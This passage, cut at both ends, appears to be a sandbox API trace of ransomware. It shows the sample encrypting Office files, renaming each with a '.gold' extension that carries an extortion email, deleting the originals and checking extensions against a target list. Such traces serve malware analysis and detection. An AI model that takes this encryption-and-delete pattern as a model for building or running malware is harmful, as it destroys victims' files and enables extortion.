Office\\Office14\\1033\\EXCEL_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0101.069] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.069] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0101.070] GetLastError () returned 0x0 [0101.070] ReadFile (in: hFile=0x3b4, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x26d, lpOverlapped=0x0) returned 1 [0101.207] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x270, lpOverlapped=0x0) returned 1 [0101.208] ReadFile (in: hFile=0x3b4, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.208] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xee, lpOverlapped=0x0) returned 1 [0101.208] SetEndOfFile (hFile=0x3bc) returned 1 [0101.208] CloseHandle (hObject=0x3bc) returned 1 [0101.208] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.208] SetEndOfFile (hFile=0x3b4) returned 1 [0101.210] CloseHandle (hObject=0x3b4) returned 1 [0101.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.231] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc")) returned 1 [0101.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0101.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0101.232] lstrlenW (lpString=".doc") returned 4 [0101.232] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0101.232] lstrlenW (lpString=".docx") returned 5 [0101.232] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0101.232] lstrlenW (lpString=".pdf") returned 4 [0101.232] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0101.232] lstrlenW (lpString=".xls") returned 4 [0101.232] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0101.232] lstrlenW (lpString=".xlsx") returned 5 [0101.232] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0101.232] lstrlenW (lpString=".ppt") returned 4 [0101.232] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0101.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0101.232] lstrlenW (lpString=".zip") returned 4 [0101.232] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0101.232] lstrlenW (lpString=".rar") returned 4 [0101.232] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0101.232] lstrlenW (lpString=".bz2") returned 4 [0101.232] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0101.232] lstrlenW (lpString=".7z") returned 3 [0101.232] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0101.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0101.232] lstrlenW (lpString=".dbf") returned 4 [0101.232] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0101.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0101.232] lstrlenW (lpString=".1cd") returned 4 [0101.232] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0101.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0101.232] lstrlenW (lpString=".jpg") returned 4 [0101.232] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0101.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0101.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0101.232] lstrlenW (lpString=".doc") returned 4 [0101.232] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0101.232] lstrlenW (lpString=".docx") returned 5 [0101.232] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0101.232] lstrlenW (lpString=".pdf") returned 4 [0101.232] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0101.232] lstrlenW (lpString=".xls") returned 4 [0101.232] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0101.232] lstrlenW (lpString=".xlsx") returned 5 [0101.232] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0101.232] lstrlenW (lpString=".ppt") returned 4 [0101.232] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0101.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0101.233] lstrlenW (lpString=".zip") returned 4 [0101.233] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0101.233] lstrlenW (lpString=".rar") returned 4 [0101.233] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0101.233] lstrlenW (lpString=".bz2") returned 4 [0101.233] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0101.233] lstrlenW (lpString=".7z") returned 3 [0101.233] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0101.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0101.233] lstrlenW (lpString=".dbf") returned 4 [0101.233] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0101.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0101.233] lstrlenW (lpString=".1cd") returned 4 [0101.233] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0101.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0101.233] lstrlenW (lpString=".jpg") returned 4 [0101.233] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0101.233] lstrcmpiW (lpString1=".VSL", lpString2=".gold") returned 1 [0101.233] lstrlenW (lpString="FACILITY.VSL") returned 12 [0101.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0101.244] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=81768) returned 1 [0101.244] CloseHandle (hObject=0x3ac) returned 1 [0101.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl")) returned 0x20 [0101.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0101.256] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.256] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.257] GetLastError () returned 0x0 [0101.257] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x13f68, lpOverlapped=0x0) returned 1 [0101.262] WriteFile (in: hFile=0x3b8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x13f70, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x13f70, lpOverlapped=0x0) returned 1 [0101.263] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.264] WriteFile (in: hFile=0x3b8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.264] SetEndOfFile (hFile=0x3b8) returned 1 [0101.264] CloseHandle (hObject=0x3b8) returned 1 [0101.264] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.264] SetEndOfFile (hFile=0x3bc) returned 1 [0101.266] CloseHandle (hObject=0x3bc) returned 1 [0101.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl")) returned 1 [0101.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0101.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0101.267] lstrlenW (lpString=".doc") returned 4 [0101.267] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0101.267] lstrlenW (lpString=".docx") returned 5 [0101.267] lstrcmpiW (lpString1=".docx", lpString2="Y.VSL") returned -1 [0101.268] lstrlenW (lpString=".pdf") returned 4 [0101.268] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0101.268] lstrlenW (lpString=".xls") returned 4 [0101.268] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0101.268] lstrlenW (lpString=".xlsx") returned 5 [0101.268] lstrcmpiW (lpString1=".xlsx", lpString2="Y.VSL") returned -1 [0101.268] lstrlenW (lpString=".ppt") returned 4 [0101.268] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0101.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0101.268] lstrlenW (lpString=".zip") returned 4 [0101.268] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0101.268] lstrlenW (lpString=".rar") returned 4 [0101.268] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0101.268] lstrlenW (lpString=".bz2") returned 4 [0101.268] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0101.268] lstrlenW (lpString=".7z") returned 3 [0101.268] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0101.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0101.268] lstrlenW (lpString=".dbf") returned 4 [0101.268] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0101.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0101.268] lstrlenW (lpString=".1cd") returned 4 [0101.268] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0101.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0101.268] lstrlenW (lpString=".jpg") returned 4 [0101.268] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0101.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0101.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0101.268] lstrlenW (lpString=".doc") returned 4 [0101.268] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0101.268] lstrlenW (lpString=".docx") returned 5 [0101.268] lstrcmpiW (lpString1=".docx", lpString2="Y.VSL") returned -1 [0101.268] lstrlenW (lpString=".pdf") returned 4 [0101.268] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0101.268] lstrlenW (lpString=".xls") returned 4 [0101.268] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0101.268] lstrlenW (lpString=".xlsx") returned 5 [0101.268] lstrcmpiW (lpString1=".xlsx", lpString2="Y.VSL") returned -1 [0101.268] lstrlenW (lpString=".ppt") returned 4 [0101.268] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0101.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0101.268] lstrlenW (lpString=".zip") returned 4 [0101.268] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0101.268] lstrlenW (lpString=".rar") returned 4 [0101.268] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0101.268] lstrlenW (lpString=".bz2") returned 4 [0101.268] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0101.268] lstrlenW (lpString=".7z") returned 3 [0101.268] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0101.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0101.268] lstrlenW (lpString=".dbf") returned 4 [0101.268] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0101.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0101.268] lstrlenW (lpString=".1cd") returned 4 [0101.268] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0101.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0101.269] lstrlenW (lpString=".jpg") returned 4 [0101.269] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0101.269] lstrcmpiW (lpString1=".VRD", lpString2=".gold") returned 1 [0101.269] lstrlenW (lpString="FLOCH.VRD") returned 9 [0101.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0101.270] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=2028) returned 1 [0101.270] CloseHandle (hObject=0x3bc) returned 1 [0101.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd")) returned 0x20 [0101.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0101.271] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.271] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.277] GetLastError () returned 0x0 [0101.277] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x7ec, lpOverlapped=0x0) returned 1 [0101.278] WriteFile (in: hFile=0x3b8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0101.279] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.279] WriteFile (in: hFile=0x3b8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0101.279] SetEndOfFile (hFile=0x3b8) returned 1 [0101.279] CloseHandle (hObject=0x3b8) returned 1 [0101.279] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.279] SetEndOfFile (hFile=0x3bc) returned 1 [0101.281] CloseHandle (hObject=0x3bc) returned 1 [0101.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd")) returned 1 [0101.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0101.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0101.282] lstrlenW (lpString=".doc") returned 4 [0101.282] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0101.282] lstrlenW (lpString=".docx") returned 5 [0101.282] lstrcmpiW (lpString1=".docx", lpString2="H.VRD") returned -1 [0101.282] lstrlenW (lpString=".pdf") returned 4 [0101.282] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0101.282] lstrlenW (lpString=".xls") returned 4 [0101.282] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0101.282] lstrlenW (lpString=".xlsx") returned 5 [0101.282] lstrcmpiW (lpString1=".xlsx", lpString2="H.VRD") returned -1 [0101.282] lstrlenW (lpString=".ppt") returned 4 [0101.282] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0101.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0101.282] lstrlenW (lpString=".zip") returned 4 [0101.282] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0101.282] lstrlenW (lpString=".rar") returned 4 [0101.282] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0101.282] lstrlenW (lpString=".bz2") returned 4 [0101.282] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0101.282] lstrlenW (lpString=".7z") returned 3 [0101.282] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0101.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0101.282] lstrlenW (lpString=".dbf") returned 4 [0101.282] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0101.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0101.282] lstrlenW (lpString=".1cd") returned 4 [0101.282] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0101.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0101.282] lstrlenW (lpString=".jpg") returned 4 [0101.282] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0101.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0101.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0101.282] lstrlenW (lpString=".doc") returned 4 [0101.282] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0101.282] lstrlenW (lpString=".docx") returned 5 [0101.282] lstrcmpiW (lpString1=".docx", lpString2="H.VRD") returned -1 [0101.282] lstrlenW (lpString=".pdf") returned 4 [0101.282] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0101.282] lstrlenW (lpString=".xls") returned 4 [0101.282] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0101.282] lstrlenW (lpString=".xlsx") returned 5 [0101.282] lstrcmpiW (lpString1=".xlsx", lpString2="H.VRD") returned -1 [0101.282] lstrlenW (lpString=".ppt") returned 4 [0101.282] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0101.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0101.282] lstrlenW (lpString=".zip") returned 4 [0101.282] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0101.282] lstrlenW (lpString=".rar") returned 4 [0101.282] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0101.282] lstrlenW (lpString=".bz2") returned 4 [0101.283] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0101.283] lstrlenW (lpString=".7z") returned 3 [0101.283] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0101.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0101.283] lstrlenW (lpString=".dbf") returned 4 [0101.283] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0101.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0101.283] lstrlenW (lpString=".1cd") returned 4 [0101.283] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0101.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0101.283] lstrlenW (lpString=".jpg") returned 4 [0101.283] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0101.283] lstrcmpiW (lpString1=".VRD", lpString2=".gold") returned 1 [0101.283] lstrlenW (lpString="GANTT.VRD") returned 9 [0101.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0101.284] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=2043) returned 1 [0101.284] CloseHandle (hObject=0x3bc) returned 1 [0101.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd")) returned 0x20 [0101.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0101.285] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.285] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.285] GetLastError () returned 0x0 [0101.285] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: 